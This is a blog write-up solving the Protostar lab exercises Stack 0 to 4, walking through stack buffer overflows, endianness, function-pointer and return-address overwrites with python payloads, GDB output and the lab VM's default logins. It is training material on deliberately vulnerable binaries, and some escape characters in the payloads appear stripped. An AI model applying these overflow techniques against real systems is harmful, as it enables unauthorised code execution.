Exploit Exercises: Protostar Setup & Stack 0-4


In a break from my regularly scheduled penetration test / boot to root write ups I’m going to document how to complete a couple of the exercises from the Protostar VM from Exploit ExercisesΒ – normal boot-to-root service will resume shortly. πŸ™‚


If you’re reading this then you’re probably already experienced enough to spin up VMs etc. so I’ll just give a couple of basic pointers here –

  • Login with ‘user:user’
  • Get root if necessary with ‘root:godmode’
  • Add ‘alias ll=ls -al’ to user’s .bashrc file
    • Might be just me, but I use ‘ll’ more than ‘ls’
  • SSH into the box rather than using the VM directly, it’ll be a nicer experience overall.
  • After SSHing in, type ‘bash’ to get out of the non-tty shell and into a more fully featured shell with tab completion etc.
    • We all know that it’s miserable trying to get around without tab completion.

Stack 0

First up we’ll “solve” Stack 0. The aim of this is to change the value of the “modified” variable to anything we like by overflowing the buffer (aptly named “buffer”)

So looking at the source code in that link above, buffer is precisely 64 bytes long. So if we provide 64 bytes of input to stack0 then everythings happy –

user@protostar:/opt/protostar/bin$ python -c 'print "A"*64' | ./stack0
Try again?

However.. If we were to provide an extra byte, enough to overflow the buffer then we’d start to modify data further down the stack, past the end of the ‘buffer’ variable –

user@protostar:/opt/protostar/bin$ python -c 'print "A"*65' | ./stack0
you have changed the 'modified' variable

At this point, the ‘modified’ variable has gone from having a value of 0x0 to having a value of 0x41 (“the name of this blog!” I hear you exclaim πŸ˜‰ ) because one of our printed ‘A‘s has made its way into the section on the stack dedicated to the “modified variable”

Pretty cool πŸ™‚

Stack 1

Next up we’ll solve Stack 1.The aim of this is to change the value of the modified variable again, but this time we must set it to a specific value (specifically 0x61626364)
This is very easy for us, because we’ve already noticed that we can set ‘modified’ to 0x00000041 just by providing an extra ‘A’ to the buffer.
Now, considering 0x61 is hex for ‘a’ and 0x64 is hex for ‘d’ we can probably work out what input is required here. Let’s bust out our trusty Python again!
user@protostar:/opt/protostar/bin$ python -c 'print "A"*64' | xargs ./stack1
Try again, you got 0x00000000

As expected, we didn’t touch the modified variable because buffer is 64 bytes long. Let’s try and give it 64 bytes then ‘abcd’ and see what happens –

user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"abcd"' | xargs ./stack1
Try again, you got 0x64636261
what. So we overflowed the buffer correctly, but instead of our expected 0x61626364 we actually got 0x64636261. This is because of “endianness“, Intel processors use “little endian” because they hate us and want us to supply our data backwards with the least-significant-bit first. Let’s swap the order of that concatenated string –
user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"dcba"' | xargs ./stack1
you have correctly got the variable to the right value

The endianness issue here is important and will become a consistent factor that you must remember when messing with binary exploitation.

Stack 2

Making good progress now, let’s solve Stack 2.Β This is very similar to the past two challenges but involves overflowing a buffer to set a modified variable to ‘0x0d0a0d0a’. The twist this time is that the overflow must come from an environment variable.
For this particular challenge we can effectively copy the previous code and wrap it in an “export” statement.
user@protostar:/opt/protostar/bin$ ./stack2
please set the GREENIE environment variable
user@protostar:/opt/protostar/bin$ export GREENIE="test" ; ./stack2
Try again, you got 0x00000000
user@protostar:/opt/protostar/bin$ export GREENIE=`python -c 'print "A"*64+"x0ax0dx0ax0d"'` ; ./stack2
you have correctly modified the variable

Bingo πŸ™‚ Note once more that we’ve had to reverse 0x0d0a0d0a because of endianness.

Stack 3

Let’s solve Stack 3!Β This is where things start getting really interesting. The aim of this challenge is to take overwrite a function pointer, to get it to execute a piece of code which wasn’t intended to run.
It’s worth noting that whilst this is a contrived example, this is one of the cornerstones of binary exploitation – getting a binary to behave in a manner which it wasn’t intended, executing arbitrary code just by messing with supplied data.
First step is to work out the address of the function. We’ll overwrite the fp function pointer variable to point to this address instead of ‘0x0’, which will force our ‘win’ function to execute.
We’re going to use GDB, but objdump would also work.
As we can see by the output above from “info address win”, the win function is located at 0x8048424
user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"this will go bang"' |  ./stack3 #0x8048424
calling function pointer, jumping to 0x73696874
Segmentation fault
user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"x24x84x04x08"' |  ./stack3 #0x8048424
calling function pointer, jumping to 0x08048424
code flow successfully changed

Final reminder – address has been provided backwards because of endianness. It’s also been broken up into 4 one byte chunks, with the final byte padded with a 0.

It’s worth noting here, that we could have gotten the win function to execute in a few seconds in GDB by manually setting the EIP register to point to 0x8048424. The stack would’ve gotten messed up and the program would’ve crashed, but we’d have achieved our purpose.

Stack 4

Last one for this blog post, Stack 4.Β At the end of the last exercise I mentioned that we could’ve overwritten EIP to force it to execute the ‘win’ function, this exercise requires us to do just that.
The point of this exercise is to overflow the ‘buffer’ variable and overwrite the saved EIP pointer on the stack so that when the main function returns it actually returns to the win function.
Let’s do it!
Same as last time, we’ll run “info address win” within GDB to get the address of the function
info address win
Symbol "win" is a function at address 0x80483f4.
So now we’ve got that let’s chuck a load of data into it and examine the stack to find out what the memory looks like and how much extra data we need to overwrite to hit the saved return address –
gdb) disassemble main
Dump of assembler code for function main:
0x08048408 : push   ebp
0x08048409 : mov    ebp,esp
0x0804840b : and    esp,0xfffffff0
0x0804840e : sub    esp,0x50
0x08048411 : lea    eax,[esp+0x10]
0x08048415 : mov    DWORD PTR [esp],eax
0x08048418 : call   0x804830c 
0x0804841d : leave  
0x0804841e : ret    
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) run
Starting program: /opt/protostar/bin/stack4 
Breakpoint 1, main (argc=1, argv=0xbffff7a4) at stack4/stack4.c:16
16 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
So now we’ve provided 64 bytes of input to the program and stopped at a breakpoint on the call to leave the function, let’s look at the stack!
(gdb) x/24x $esp
0xbffff6a0: 0xbffff6b0 0xb7ec6165 0xbffff6b8 0xb7eada75
0xbffff6b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6f0: 0x08048400 0x00000000 0xbffff778 0xb7eadc76

OK so we can see our 64 bytes in the buffer variable, and we can see that there are an additional 12 bytes after the buffer but before we get to the return address (0xb7eadc76)

Which means that we need to provide –

  • 64 bytes to fill the buffer
  • 12 bytes to fill the space before the return address
  • 4 bytes of containing the address of the win variable atΒ 0x80483f4
Which looks as follows:
The screenshot above shows the 64 bytes to fill the buffer (0x41), the 12 bytes of extra padding (0x42) and then the “return address” of the win function.
Note that we immediately get a segmentation fault afterwards – this is because the win function is trying to retrieve a return address off of the stack and is trying to return to 0x00000000. This doesn’t matter though because we’ve already achieved our nefarious purposes!


Thanks for reading, hope you learned something – I’ll probably do a write up of stack 7-10 in the coming days!

Add a Comment

Your email address will not be published. Required fields are marked *